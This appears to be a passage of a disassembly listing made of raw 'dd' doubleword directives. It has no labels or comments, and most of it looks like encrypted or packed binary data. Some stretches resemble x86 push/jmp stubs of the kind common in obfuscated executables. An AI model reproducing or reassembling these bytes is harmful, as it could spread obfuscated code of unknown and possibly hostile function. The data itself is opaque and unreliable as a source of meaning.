		dd 0D7B5767h, 0A4131961h, 0BA5DF940h, 0BEA0E692h, 0C95E1A21h
		dd 75F0EBA7h, 0E9F2C5B7h, 0D605B61Ch, 5570h, 0A5138700h
		dd 40ABB1F9h, 4E57E554h, 0C711DE26h, 0F5E3B0F8h, 0C5111ECAh
		dd 1F2F5EF6h, 6352509h,	0EBE6B358h, 51FDBC19h, 5DB561F9h
		dd 49F5C610h, 1FB7C2F1h, 4E87549Ch, 1A67BF6Bh, 5804B9h
		dd 0F4E4C1D1h, 22B683CBh, 0F6046E9Dh, 0A67h, 4574612Eh
		dd 0A5132F16h, 0A7ABB1F9h, 0F757EB02h, 333191Fh, 6F47580Ch
		dd 0C038369h, 0D76F9758h, 0AC2AF73Fh, 0F6E0BD0Fh, 27B07DC5h
		dd 6392EA96h, 1A7FEDF9h, 1F67FFBCh, 51E8619h, 84CCF45Eh
		dd 6C9B1EB7h, 7E3D9966h, 34874F2Ch, 620E7C88h, 46B5141Ah
		dd 83AB6419h, 76CDE1A5h, 28362032h, 0A03h, 0B406B923h
		dd 6FC1FCD7h, 297B4092h, 0DE30894Ch, 95E7D601h,	83545C5Ch
		dd 0C60BE83Ah, 14C4A1F3h, 5A7C59ABh, 7B030F61h,	0C078F75h
		dd 41A8A358h, 0F1E7F7D9h, 5F0F7D51h, 808D4A17h,	0F1E7947Ah
		dd 0E880A851h, 0AFB5E43Ch, 0EB02FEA9h, 25330A57h, 0F9AFC4B6h
		dd 244CD0FFh, 0F4C70FDCh, 3EF3CAA2h, 3BE0AFE8h,	0D0061140h
		dd 0FFD6A3EBh, 69B60EBAh, 0B721506Fh, 49913DABh, 92957B81h
		dd 81A9580Ch, 7464C52h,	0BD5DFFC1h, 53D9B795h, 523C3890h
		dd 96E44h, 9B24B800h, 56676C49h, 10AB2704h, 0C5F4E1BEh
		dd 7C419673h, 0E9C7F12Ah, 0A07DCFEEh, 59368831h, 11EE407Fh
		dd 98A4F6C5h, 8240A10h,	3D38580Ch, 0F7C412D6h, 23983E4Bh
		dd 44C90EDBh, 0F1E8583Eh, 0AC446C51h, 0E7FB137Dh, 0EE3530ABh
		dd 44C9FEEDh, 0E0000004h, 2F8C4A17h, 0D888F600h, 0FF9AB990h
		dd 0AA620A57h, 0C86F757Bh, 5E57EB3Fh, 0B521EE36h, 0FFD7B406h
		dd 56EED107h, 6795410Eh, 8E6D90Fh, 0E110A85Fh, 784F3177h
		dd 67D5580Ch, 4986FB7h,	6578DD50h, 0BD3D908h, 0AD573D43h
		dd 846B580Ch, 0C616BAF5h, 0F542DA5Fh, 0D72FDBE2h, 0A22564A8h
		dd 0B3DB5DFFh, 9072C5D5h, 6C7A6438h, 8AFh, 85A6577h, 0C315A82Bh
		dd 7DCFECE6h, 328435A0h, 0E93B8255h, 2FA808B0h,	725F3C8Eh
		dd 0C018F547h, 6D0ADFFh, 0CF5763B5h, 0C08E3C9h,	95FCF758h
		dd 0E9BA4017h, 0FE4C5E4Bh, 0EA12C4CFh, 8D500773h, 0BC81550h
		dd 616E1AB2h, 829A4675h, 501D2C6Eh, 30883485h, 0DED09501h
		dd 782EFEEDh, 45000003h, 0F1E7F7D9h, 5F0F7D51h,	318E4A17h
		dd 9F6FC02h, 1B57EB03h,	0F8DEABF3h, 429471C3h, 2DDC3C9h
		dd 0C9F1580Ch, 0B798531h, 0E9952AAEh, 0ABB1F991h, 5DFF306Ch
		dd 881CFA22h, 0B53890E5h, 80DBDCBh, 0C3190000h,	6CDAAFCh
		dd 4A8865B7h, 93421F71h, 0E0F7D426h, 66528BDDh,	0DE308D4Ah
		dd 97E9D001h, 4FA11EBAh, 5576472h, 856B71F9h, 99580C0Ah
		dd 0C412379Eh, 942C9142h, 0C0FBDBE8h, 0AAE8FC14h, 0EDEE3431h
		dd 2EDCAFEh, 0FAC20000h, 0F1F00EF4h, 0CBFA2251h, 0E7E1D9E4h
		dd 158351F1h, 351B2169h, 4957EB03h, 3856B71h, 8B08580Ch
		dd 47D56C4Dh, 0EF87AF75h, 0BFFCDAA7h, 7546906Dh, 0EF4FBDC9h
		dd 0C8403E9h, 57EF1758h, 0CFDA090Fh, 48705DFFh,	9046446Ah
		dd 15230D38h, 773h, 449629B3h, 0FF516C67h, 0B90BB022h
		dd 6EC0F9DCh, 25774691h, 0F3E4CCECh, 369B78CAh,	84543183h
		dd 0CA0CE93Bh, 0B939FF1h, 0C0A1F05h, 0D1383358h, 4BF7C412h
		dd 7723983Eh, 4BE1A105h, 0A0DE308Bh, 0FEEDF1C5h, 0B607CC99h
		dd 1D83B20Ah, 7, 2451134h, 0D9680000h, 51F1E7E1h, 21691583h
		dd 0EB031E1Bh, 0E0285057h, 34874B18h, 0DFDCFA05h, 9526B08Dh
		dd 0BF6FDDE9h, 4E427177h, 0FBD85DFFh, 6E4CE4D7h, 3890C74Ah
		dd 0E423311Bh, 42000006h, 0F6D3259Ah, 0B18EE0DDh, 6B489A21h
		dd 20FD4F6Ah, 7BB406B7h, 5964733Dh, 12A72A07h, 0CAF5E3C0h
		dd 803B9B78h, 949A222Eh, 580C0AAEh, 1260C7C2h, 0D8AFF7C4h
		dd 0DE9F52C6h, 4DB7E633h, 6F759640h, 51F29889h,	31DD759Dh
		dd 53F5BBFh, 5A98EAD1h,	0FEED410Bh, 6D528653h, 9B24B4C1h
		dd 76ED403h, 85000000h,	1A211h,	0E0D96800h, 8451F1E7h
		dd 1C226A16h, 57EB0328h, 1BE83058h, 0FE5602BDh,	3901C9CFh
		dd 0C034D33h, 0C2F7DA58h, 9AA5D4FCh, 6A377F3Ch,	1222516Eh
		dd 57666D3Ah, 192453ABh, 4652FEBDh, 13E028D8h, 0F54DF9C4h
		dd 8BBAC0C6h, 215DFF4Eh, 0C7A71BF9h, 0E8D23890h, 622DAh
		dd 0E7D80400h, 0A21BB895h, 5C5F7350h, 11A82D0Ah, 0C8F5E2BFh
		dd 357B3D76h, 0ECC91BA2h, 0A582D4E5h, 5D3A8C33h, 0E4F04279h
		dd 0B70565Ch, 8984580Ch, 0F7C41222h, 64983E4Bh,	1EE76206h
		dd 721EB646h, 46FE9C00h, 5A5F7690h, 0CB9870C2h,	1884B306h
		dd 0FEEDD04Dh, 1CB1h, 0D9D2A900h, 7B4494C0h, 6F2077CFh
		dd 4E20772Ch, 7E3A974Dh, 11A48BBAh, 0D7h, 0E7E0D968h, 168451F1h
		dd 9E4B226Ah, 72477F25h, 22282E5Dh, 57EBD416h, 1FF63E66h
		dd 6D1117Eh, 77DF60B7h,	65323867h, 1BF84A71h, 328D4BBBh
		dd 0EA962E86h, 78C070DEh, 274372h, 0D3B1D95Eh, 388FEDF9h
		dd 649CAA94h, 0C2000005h, 7653A51Ah, 310E605Dh,	0EBC81AA1h
		dd 0A07DCFEAh, 0FB348637h, 0D9E4F3BDh, 9227AA87h, 4A756340h
		dd 0BB1BF8h, 141AA2AEh,	580C0C2Eh, 17E04742h, 63268240h
		dd 1342F0A2h, 41EDCE08h, 6E64A234h, 9709B54Dh, 0F9DD1733h
		dd 333270C2h, 0CBFEEDA3h, 7, 3111E2h, 12680000h, 3E4BF7C4h
		dd 6A772398h, 97A4506Dh, 0CBD37F3Ah, 0F1E7DFC5h, 19CBF351h
		dd 5E1495B5h, 5D5C7946h, 0D82A59B1h, 675482BAh,	243715h
		dd 128E0000h, 5B4147C4h, 6F51F1E8h, 0FB03AF47h,	0E918A52Eh
		dd 0F1E7C2A5h, 6E2C5051h, 69BB00D6h, 0AC0DC491h, 0C412967Dh
		dd 5B8B9038h, 31EE4578h, 0A11ABC7Eh, 0B8059DF5h, 58049C1Dh
		dd 0D073DE4Ch, 0F572119Eh, 0C18ED66Eh, 757BAA11h, 0EB8C6B6Fh
		dd 0DDE3BB57h, 580C8CF7h, 4296E30Bh, 0E179D17Dh, 0E5CBD199h
		dd 0F9580C8Ch, 0D49CA2D1h, 0BDECCF07h, 0F3E224B2h, 4DC2EC6h
		dd 0F01F9A37h, 0D90BF1E5h, 0B8AB3841h, 0A8407D56h, 4F745A60h
		dd 6088580Ch, 0A2101CC8h, 1DB0B6FEh, 95E056Ah, 69553B41h
		dd 41695E26h, 1E668E12h, 0E4368551h, 40ECCF07h,	0D21AC634h
		dd 563C420Ah, 0E35E2669h, 0C921CDF0h, 68ACDB03h, 64199209h
		dd 0DDF9D7FFh, 0C4327683h, 405CCDAh, 0BB210000h, 0FED5B204h
		dd 42906DBFh, 8B4A2779h, 0D8FFDC2Eh, 5E5A93E5h,	0E6388552h
		dd 9FF1C809h, 57A916C2h, 0D5F5C7Ah, 8D737901h, 0A1580C0Dh
		dd 0C4123FA6h, 0EC8A5F7h, 2CF901ADh, 0D9E413ACh, 0A012BEFDh
		dd 0F0E61E3Ch, 34894E1Bh, 0C4AA3088h, 0D851F1E7h, 0EEC618B0h
		dd 0DC0BB221h, 0EDF1F570h, 3109FEh, 13200000h, 0E9B1F9A5h
		dd 5056B71Ch, 51F1E86Ah, 8FBE567Eh, 0E554E04Bh,	7EC6EE57h
		dd 469827B1h, 6364C30h,	0BA01D558h, 724D8B68h, 371B8C6h
		dd 130F0000h, 0E9B1F9A5h, 5905B61Ch, 0CDB3B901h, 0E151F1E7h
		dd 0CF468AB9h, 557E5E9h, 5C2931DDh, 8C994576h, 91DE7647h
		dd 3C477645h, 0FF75219Ah, 33191FE7h, 475805E9h,	0FC9EF01Fh
		dd 0EB33DB49h, 0F9EA6EE5h, 2A7CA45Dh, 69508552h, 0C9AFB5BDh
		dd 0DD5E19E9h, 0E4EE1DB5h, 7C82CA76h, 640DEB05h, 20E9ECB9h
		dd 2DEA341Ah, 88204864h, 0D15584DCh, 449461A9h,	0D5E24C7Bh
		dd 6565FC02h, 98EC3886h, 0E8EBB800h, 2F3CA6D5h,	5D6A16A9h
		dd 41964279h, 69FEE39Fh, 9F768BC7h, 48AB1B5Ah, 2F39687Dh
		dd 0CFD51DC1h, 6A22DB58h, 9524B18Eh, 8CEABFDh, 0DCFA07B3h
		dd 43B18DDFh, 0BA4D539Bh, 2870362Bh, 2C0E5400h,	3770570Bh
		dd 75E7515h, 57E088CBh,	0A613C28Fh, 361CA2FAh, 4A705713h
		dd 96D6CB22h, 0F2D5B2B7h, 415DC3h, 13740000h, 0ABB1F9A5h
		dd 57E502E8h, 81BD5D34h, 58694884h, 0D17DA529h,	61DA98Bh
		dd 17A42E58h, 46735E6Bh, 76458D9Ah, 9E033FE1h, 0FE95B5D7h
		dd 0F8D9BB67h, 0C997h, 11B88F00h, 4CFD26Ch, 12452C5Bh
		dd 434BF7C4h, 71C3906Ch, 80AF66F1h, 0AF5B6275h,	0DB8734A2h
		dd 6BB308CEh, 0DA86339Eh, 1D1E4CC3h, 34CC1334h,	2DFF505h
		dd 6D51F2BEh, 23005269h, 505C08B3h, 0F0F63EE2h,	57E60F4Dh
		dd 8561B3DBh, 9926B217h, 0ECECB901h, 989EA4D3h,	5DFBC715h
		dd 2D1319E1h, 0BA5E1DA6h, 0B0D89E1Bh, 8DD5FD81h, 5EA617C0h
		dd 48774691h, 417C5B38h, 93507D63h, 404E3838h, 1CFh, 0E83A8557h
		dd 0A3F5C80Bh, 5DAF0CC6h, 12645580h, 0C91BA235h, 4F882890h
		dd 923F1C6Eh, 0E0F8D527h, 26B08DDFh, 0AF374395h, 0C0FC3A9h
		dd 75DCD758h, 63494F17h, 0F051F1E8h, 0EC14DAE3h, 9825B2BDh
		dd 4E6D6946h, 0A51343FCh, 0E8ABB1F9h, 0B657E502h, 9E6F468Eh
		dd 0D5C847D6h, 0F19D20B3h, 68D20199h, 5FA4022h,	0A8754B58h
		dd 8AE28E2Fh, 5249095Bh, 0F8D9E013h, 0EFEBh, 6E0CE300h
		dd 0D0D68F84h, 0EB1477CEh, 91F97CDh, 0C412F3DAh, 5F5C7A47h
		dd 0F1E7F3D9h, 997F8551h, 0AD51F1E7h, 5BD8BF85h, 155E1C11h
		dd 822EC65Eh, 135B6275h, 0FB2A8F46h, 0C16E4B91h, 0FDD951F2h
		dd 478F6CBEh, 4EBCC874h, 0CB325F2h, 0F2C0A086h,	0F48CB451h
		dd 1203A6ACh, 0AA9157E6h, 97C5DC64h, 72A96A23h,	0C7ABF249h
		dd 9C62A0F7h, 2A529AC3h, 0B6734A92h, 26954173h,	87CB227Ah
		dd 0E6F6251Eh, 0ACF49C0Ah, 0FC9D82A6h, 0A2EA125Dh, 7DEED4DAh
		dd 0DA025E1Eh, 0FFD8A5ABh, 488F6CBEh, 7110F0B6h, 0AA42A266h
		dd 92911ECCh, 0B3C1AB38h, 0A7h,	10625D7Fh, 0CB1DA033h
		dd 85D7E4EEh, 3A8C2DA8h, 0F1437A5Dh, 27B000B8h,	6A674496h
		dd 0B820FD4Fh, 0FED8B507h, 0D75F6BBDh, 0C10EBD1h, 9D04FF58h
		dd 0A6F8C512h, 0EAD101CEh, 0ACB7E63Eh, 863F912Ah, 0AFF7C412h
		dd 9BCAEFE2h, 9B22431h,	0C16DDBB7h, 2D47379h, 224A57EBh
		dd 4E6D6976h, 4B71FFCh,	33D31258h, 359983CFh, 0BC17E415h
		dd 0CEFD5501h, 56A813C3h, 0B25E5D79h, 418930A5h, 138D7379h
		dd 79A183D0h, 0E98BE04Ah, 784393A9h, 2E8D4926h,	117482h
		dd 0DFAC0000h, 7A0A08F2h, 0B6DF16EBh, 0EB1A721Eh, 127DE404h
		dd 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh,	0F2FFAB12h
		dd 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h, 5E08950h
		dd 4, 8704E883h, 895C2404h, 68682434h, 89000069h, 89562414h
		dd 4C681E6h, 83000000h,	348704EEh, 1C895C24h, 6A406824h
		dd 4890000h, 2ABF6824h,	5587B0Fh, 39670F31h, 0F4054048h
		dd 8951A3E1h, 8B5458C2h, 0C483241Ch, 0B9515204h, 61955FF4h
		dd 4244C01h, 8438F59h, 0F4086B81h, 0FF61955Fh, 815B2434h
		dd 4C4h, 2434FF00h, 4C4835Ah, 0FA536AE9h, 0BAA568FFh, 51DB39DDh
		dd 0B6EAFEC2h, 39B886D6h, 3061A2Ah, 77E0FFC5h, 5F70BC8Bh
		dd 3F207261h, 0A35460C9h, 0DA447935h, 3F484998h, 3473A4B8h
		dd 976890A2h, 0EC2992C2h, 0F422D572h, 74501789h, 0AD4BDAE1h
		dd 715A0EB8h, 0F012C451h, 8841221Ch, 6666A281h,	9B6B7FB7h
		dd 1C3B2930h, 0A8609F36h, 4155B6A5h, 3B140B70h,	1C0FE667h
		dd 482C3016h, 0FA72FD45h, 7A00BDEBh, 2524B49Dh,	8D003042h
		dd 1A2C048Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h
		dd 0C3504000h, 6681F0E0h, 9D01C18Bh, 61415F1h, 32298D89h
		dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0DE476FC3h, 9A925069h, 2C0EF281h,	85C71D09h
		dd 614064Dh, 5E24h, 1D440CBAh, 7185C717h, 61426h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 81C6C353h, 3FEFBFCBh, 69B5FF21h, 6A061406h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 315C356h,	0CF39A92Eh, 236195FFh, 95310614h
		dd 6142205h, 95FF006Ah,	6141169h, 1BEBC08Bh, 0E3AC4D54h
		dd 1327BE0Eh, 728CBA6Ah, 0DCACF80Ah, 0D93EA5Dh,	0D217F168h
		dd 0E94C5F0Eh, 7, 7C785225h, 0E9000000h, 529h, 0D82A9547h
		dd 93E5D8FBh, 4D9F1CB6h, 2546570h, 0B90BB225h, 5F783880h
		dd 0A22F0C5Eh, 0F0E8C517h, 36A07DCFh, 9F273385h, 0C13B399h
		dd 65CCC758h, 63494F17h, 7751F1E8h, 0C115204Fh,	0E85E444Ah
		dd 957251F1h, 4EE67E3Dh, 7B4295A2h, 4A6F6633h, 0A82E0B1Bh
		dd 0A9F4CB13h, 553B3A77h, 0D1DE4877h, 0FD0AB605h, 19A632D6h
		dd 0FB5FD581h, 5ED3AA5Fh, 0CD000F9Bh, 706671A0h, 0BC1CF94Bh
		dd 4D4B103h, 3A070FBBh,	1B731F9Ch, 6B207CEh, 5D747FAEh
		dd 0B95BB05Ch, 4A756399h, 666D3A02h, 8BEBD157h,	27FF51F2h
		dd 0F28C3B21h, 8F274F51h, 0FB2A8F42h, 0F3C80EEBh, 8C1E0147h
		dd 869A51F2h, 4D96CFC4h, 5C68FEEDh, 60000000h, 0CE7A4593h
		dd 12604776h, 2B9042C4h, 0BDA1E793h, 4651F1E7h,	5F5E758Fh
		dd 0CA0E1BC7h, 293249F5h, 596BBAF5h, 0D36F53C7h, 206276CEh
		dd 0EDDABAABh, 0D44FEh,	6F3C0000h, 5F849862h, 5B6DC55Dh
		dd 12AD94C3h, 4350FCC1h, 74812D90h, 36AC5861h, 577CB0D2h
		dd 9F371466h, 1211CA1Ch, 444CF8C5h, 0B35F5A77h,	0F2C70E5Bh
		dd 0A21BB8C3h, 622084F6h, 5EB00DCAh, 0D0A9AF86h, 0D9475938h
		dd 84379FAAh, 0F507CBD8h, 95748B7Dh, 357D1584h,	24F7068h
		dd 50BAE9D6h, 56EBA7C9h, 74969B7Fh, 5AB25E5Fh, 1D348F03h
		dd 24F382EEh, 0C38BFEEDh, 0F2BCD7BDh, 94C3EB51h, 742Eh
		dd 0C5124500h, 0EFE3B0F8h, 99C820CCh, 0BB0222Fh, 0C585E95Fh
		dd 0CD15A82Fh, 0E819FF05h, 52D51F1h, 0EEE9C6D6h, 0BF1623CFh
		dd 0F1C74EFAh, 515E901Ah, 80AF7431h, 0FE776C2Eh, 80FEED84h
		dd 689722B3h, 6A02h, 4F171900h,	0F1E86349h, 8486E651h
		dd 0F71C795Bh, 0CFDA0931h, 966DB508h, 0A6ECBB37h, 0AD17460Bh
		dd 5D238A0h, 1CB40CB8h,	3A583C70h, 96E8D502h, 6A4017DDh
		dd 41DFBBAh, 72616C9Bh,	76599F4Bh, 0F251F2CBh, 0B68DBCDEh
		dd 0EE3F33A2h, 9A8086CEh, 0AE51F27Ch, 53BFEE86h, 0FEED5D12h
		dd 0AECh, 4D0DE400h, 297C94B3h,	17563D6Ch, 0E863494Fh
		dd 4F7751F1h, 0FEBD1520h, 2026EEB6h, 51F1E83Ah,	0BAA0264Eh
		dd 0CE51F1E7h, 72585EA6h, 8651F1E8h, 0B8C52F5Eh, 9CF19D1Eh
		dd 2EA458FAh, 0F15F3B8Dh, 0D17D3E98h, 0D199E179h, 0E81D0309h
		dd 0A9AF51F1h, 51F1E7C3h, 0C1E9AFD7h, 3374E92h,	85AD57E5h
		dd 5465703Dh, 28AEBB25h, 92694193h, 0CA9C4E4Fh,	0B0BBEA2Bh
		dd 0A3E99526h, 5805EEBFh, 0E71D3D21h, 0B784CCEFh, 0D6E7EC1Ch
		dd 27FF0F3Eh, 0EF73595Fh, 5F875805h, 0AB12530h,	8185515Eh
		dd 65BD6950h, 4BAF21CDh, 0AA2DFA0Fh, 0C70F6713h, 5EEDBC1h
		dd 98C7EF58h, 2072498Dh, 0D9EA83E2h, 0F77BF8h, 9C730000h
		dd 0AB8AF8A9h, 0F1D80735h, 8E44A513h, 0DC29812Dh, 0E22AC2FBh
		dd 0E50DA5DCh, 87335B57h, 0D5F5C7Ah, 0CD15A630h, 0B7E6D700h
		dd 2596404Dh, 56676C79h, 0B69CA2AAh, 0CA58060Dh, 7E7C55A2h
		dd 0C85CAD87h, 24D0687Eh, 6B4E0CF0h, 0FF3555B9h, 5492E4D7h
		dd 0F8D99D11h, 6657804Dh, 2AD137h, 13E80000h, 0AAB0F8A6h
		dd 0D1F1E7E4h, 9EE490B8h, 0D1F1E7B8h, 0C37A183Ch, 0DCDFF356h
		dd 30F6FC44h, 451F1E8h,	6EAC8ADCh, 3000000h, 34894A17h
		dd 0E18DFB05h, 10D89399h, 370457E5h, 82686EA1h,	965805F0h
		dd 0D22AD66Eh, 3F6E4D85h, 0DAE793BBh, 906DBFFCh, 83C97546h
		dd 5805F0A2h, 0C4781AFEh, 0DF3F912h, 215805F1h,	330F61F9h
		dd 0CBD119C5h, 5DFF3CB0h, 3D4AF61Eh, 21762299h,	0A0DAF4CBh
		dd 0B5A7170Bh, 0DF163486h, 0B885CD71h, 676D9C1Dh, 19BA4661h
		dd 3A8CB464h, 0F9A51381h, 3390ABB1h, 0D6FE57EBh, 2B91D2Ah
		dd 0D2E9EDBAh, 20B693A3h, 13FFE5EBh, 0EB13580Ch, 8161A753h
		dd 99302D78h, 0F7DF1535h, 0CD9A72C4h, 1B010706h, 2FD26E78h
		dd 6BC36F07h, 66A5313Ch, 6E787A60h, 19668ED2h, 1D65FDBCh
		dd 0DD348550h, 255F3782h, 228CBB47h, 0A71431Ah,	8ABCAA10h
		dd 6E5A9E84h, 0F28AB2D2h, 0E71DB8C3h, 351B21ECh, 49D26E5Bh
		dd 0A9F18921h, 5AF5DBE1h, 0E109D26Eh, 9DF348B2h, 0BB708D0h
		dd 103284B3h, 0B11FADCh, 0D26E5B25h, 31791139h,	578F6F64h
		dd 38E38EC6h, 283867FFh, 84308B4Bh, 876h, 0F6E1AE00h, 0E4B198C7h
		dd 0F5CA127Dh, 219A3C49h, 4F706875h, 7E3B96A3h,	0AB12C5D2h
		dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 545633B8h
		dd 4C6815Eh, 83000000h,	348704EEh, 89575C24h, 4C781E7h
		dd 83000000h, 3C8704EFh, 34895C24h, 53896824h, 3C890000h
		dd 5B156824h, 0C890000h, 2C35B924h, 0CE89061Ah,	3C8B5459h
		dd 4C48124h, 68000000h,	7F4Bh, 8F243489h, 34FF0847h, 0C4835F24h
		dd 24348B04h, 81E68956h, 4C6h, 4C68300h, 5C243487h, 0FA4CC6E9h
		dd 0FA0228FFh, 30EBB84Ch, 0C503061Ah, 0F8CDE0FFh, 0DD5D3213h
		dd 21116F15h, 27EB71D5h, 3A2059A5h, 6AF307CAh, 96A435AAh
		dd 69CC186Fh, 425F19E5h, 0CC3A09BCh, 0D6711480h, 8B675AE4h
		dd 7B756C3Bh, 94EC782Ah, 0AFD21B89h, 2A452C1Ch,	8E661B16h
		dd 55FE70D1h, 0D5A60351h, 6308111Bh, 0ECBD7D40h, 53032E42h
		dd 34565F31h, 0A1DA4EB0h, 33B46E9Ah, 6D36BB9h, 1DCF4798h
		dd 0C98F5C11h, 0B4326ECDh, 0ABE94098h, 0F000001h, 2714BB58h
		dd 0D31AD52Ch, 0D746B198h, 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h
		dd 44FCA3FBh, 0A59EB992h, 95BCD792h, 93B9E4h, 0F49DB2CBh
		dd 0FC9CACA3h, 0D2009EB9h, 73AFC945h, 55FC00EEh, 599CBA97h
		dd 0B2A4E56Dh, 47FEACFFh, 0C45657F6h, 0F600CCD4h, 0F78F7DB5h
		dd 97539549h, 45C9BCFAh, 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0)
		dd 0A26D8497h, 0EE69F033h, 0Bh dup(0)
		dd 0BAE90000h, 6800000Fh, 61A3550h, 0FB132DE9h,	367B68FFh
		dd 23E9061Ah, 68FFFB13h, 61A381Bh, 0FB1319E9h, 38C468FFh
		dd 0FE9061Ah, 68FFFB13h, 61A39C3h, 0FB1305E9h, 3AA268FFh
		dd 0FBE9061Ah, 68FFFB12h, 61A3B53h, 0FB12F1E9h,	3BDD68FFh
		dd 0E7E9061Ah, 68FFFB12h, 61A3CCEh, 0FB12DDE9h,	3D3968FFh
		dd 0D3E9061Ah, 68FFFB12h, 61A3DCDh, 0FB12C9E9h,	3E8C68FFh
		dd 0BFE9061Ah, 68FFFB12h, 61A3F35h, 0FB12B5E9h,	408068FFh
		dd 0ABE9061Ah, 68FFFB12h, 61A41E0h, 0FB12A1E9h,	650DFFFFh
		dd 0E8828094h, 6DFD0317h, 0EF79889Ch, 76FC0A1Eh, 0FE6B90A5h
		dd 85996A08h, 0D21F27Eh, 93A778F8h, 0C92BFC6Ch,	2D54E884h
		dd 79D73047h, 4226D929h, 0AEBA4589h, 0BEF109DDh, 2CF98E22h
		dd 8D2A7C2Ah, 7644846Bh, 0E37F42D3h, 2A2D6B4Fh,	0E5A839CAh
		dd 109C6049h, 5B14A534h, 413C37CFh, 0C1A50B30h,	0A759FDA0h
		dd 23F06Fh, 19F20000h, 6909FD01h, 407915D8h, 45341020h
		dd 0D76FFBB4h, 0AB304113h, 9D402145h, 906FA736h, 0D4h
		dd 3F26D992h, 5D16A7C3h, 0CC85ED19h, 914A7788h,	0D3B76411h
		dd 3ED26E31h, 0C12A2D82h, 59DC9F30h, 2D8229BDh,	0DA13A42Ah
		dd 96D22D71h, 20B450D3h, 9B2A2D82h, 0E18F760Ah,	2DAEE728h
		dd 2C8E87D1h, 6206F92Ah, 0E3827D91h, 50914A1Eh,	0EA0206BFh
		dd 31D226E9h, 0EAA3C53Ch, 1E5F18A9h, 5D672E5h, 883410ACh
		dd 3A5226F7h, 78DA7639h, 8B3A2847h, 23E337FAh, 0B83B7E4Fh
		dd 2F1A881Ch, 0C1CB032Ah, 115C54D6h, 0BE023BCCh, 94DC2748h
		dd 40099ADBh, 0E0BA5B6Dh, 5295E35Eh, 2900000Dh,	0AABE8FE3h
		dd 2D411258h, 0B2C697D3h, 3448194Fh, 0BACFA0D2h, 94DE2805h
		dd 1C54AFC3h, 0A2CE374Bh, 2642BDD1h, 12AEF355h,	30472E7Eh
		dd 0D953A301h, 6074452Dh, 0AAF8C99Fh, 2FD327AAh, 0F9CB5F3Bh
		dd 0BD4E2A2Ch, 0DB94DC29h, 455D619Ah, 0F0A9C141h, 75B1EAFh
		dd 7ABB74FCh, 0C84BCE41h, 2CF9982Ch, 8DE3222Ah,	942059EAh
		dd 3410205Bh, 0F7798A1Eh, 0A96CFD3Eh, 87C0B055h, 63B3AB1Eh
		dd 81D2E21h, 22BA467Fh,	0F6304138h, 0E88BD690h,	0DB6FA75Ah
		dd 0DEh, 3FE6F0E8h, 0B6527C97h,	26D9FF7Dh, 0C2168942h
		dd 34752E44h, 234FB7FBh, 0F9FFF76Ah, 9C368C95h,	0D721ADE6h
		dd 692A2CCFh, 0BB0FD296h, 90E02548h, 0CC0546FFh, 0A0C8374Bh
		dd 0CACBE3E7h, 0ED9A6B07h, 0FE8F3410h, 0E41592Dh, 41CDDE72h
		dd 0D98F7030h, 5114A536h, 0E68C7ACEh, 8A1EBA2Dh, 53041CDh
		dd 1EAAE374h, 3A2889ADh, 6334C8C0h, 96D924B5h, 0AB470A5Dh
		dd 2A2FE717h, 0AD700192h, 7C1EAD59h, 0EB0819BEh, 0BCD0A132h
		dd 1A5F284Ah, 83E0BA30h, 0C27BA08h, 0B8540000h,	2DD5E9BAh
		dd 0A8586C3Dh, 24DDF1C2h, 0A75F7344h, 30E5FACBh, 0EEBFB353h
		dd 764729DAh, 0FCCDA362h, 805117E8h, 0A93DD91Eh, 2430472Fh
		dd 2DD976C6h, 0D42E8245h, 0C8DC5D96h, 9AD82E37h, 0F50CA0E1h
		dd 0E879BA73h, 26D9C917h, 79FC7F42h, 2CFA49DDh,	5733C42Ah
		dd 2A2CF9C3h, 53E78346h, 0D62A2CF9h, 127BB445h,	5B4BA79Fh
		dd 7743C51Eh, 6305FA3Eh, 0A5A6BE92h, 92F946E2h,	0E3743410h
		dd 63069E2Ah, 74DA3041h, 85CC6FF2h, 25796FA7h, 2C5992DEh
		dd 82h,	1192Eh,	1654A13Dh, 48D93410h, 0D6B038Fh, 0D93F3041h
		dd 0B9479B9Dh, 0F4B7F8B1h, 410DC458h, 7DB64730h, 0A72CA043h
		dd 54936Fh, 19950000h, 0E7115901h, 7A497C84h, 2D774ADEh
		dd 0A334C52Ah, 78CC4F12h, 0E728E187h, 2D76770Bh, 2861F22Ah
		dd 92A019B5h, 54E53410h, 0DE720E91h, 0CC304162h, 0D2EA8F27h
		dd 16A74A9Bh, 30E97F82h, 0C14DB6EFh, 3041A529h,	92DF97FDh
		dd 6FA7C7EFh, 7E2h, 0CDCFE400h,	0FF000007h, 3D000119h
		dd 8446F145h, 84200EDAh, 2A2DB0F0h, 1049DA6Bh, 0EB3C019Dh
		dd 29213416h, 441AE95Bh, 450C512Bh, 7E95EE26h, 6AFB4E87h
		dd 32D024A7h, 0E69FCB35h, 1A5B14A5h, 6629DE1h, 8ADE2135h
		dd 0FC0A5ED1h, 0AE4ABD76h, 30473E1Ah, 3A730495h, 5A1D1E36h
		dd 307B8ABEh, 0B174053Ah, 0F5C6A25Dh, 0EBA31EE1h, 8FC8B6A7h
		dd 0E6EAA334h, 6E0ACDCEh, 3410C5C1h, 67521BACh,	3CE6AC54h
		dd 0A8773C1h, 18F40000h, 8D75895Ah, 8F80CDDh, 847D9162h
		dd 7FF13E4h, 50859A6Bh,	8E5F13F3h, 16E7897Ah, 9C6D0302h
		dd 20F17788h, 49DD79BEh, 0C4304732h, 0F9911666h, 0CB2A2C06h
		dd 53EFB2B3h, 3416387Eh, 0C5996AFBh, 4DE9ACADh,	3A306A80h
		dd 45995CEDh, 0C9DDAEBAh, 75793236h, 0FD995C5Dh, 341637D1h
		dd 14682BBCh, 21BD80F2h, 3047298Dh, 0D3467F10h,	1AB6807Fh
		dd 30472986h, 808FD574h, 0A245C3CBh, 0F5AF43DFh, 992A3047h
		dd 92A67708h, 0B642FB6Dh, 0B047F61Ch, 12D5D6EEh, 2B018176h
		dd 0A26BFCBAh, 60B615A9h, 0DE0D5BD6h, 9D000009h, 1E32036Fh
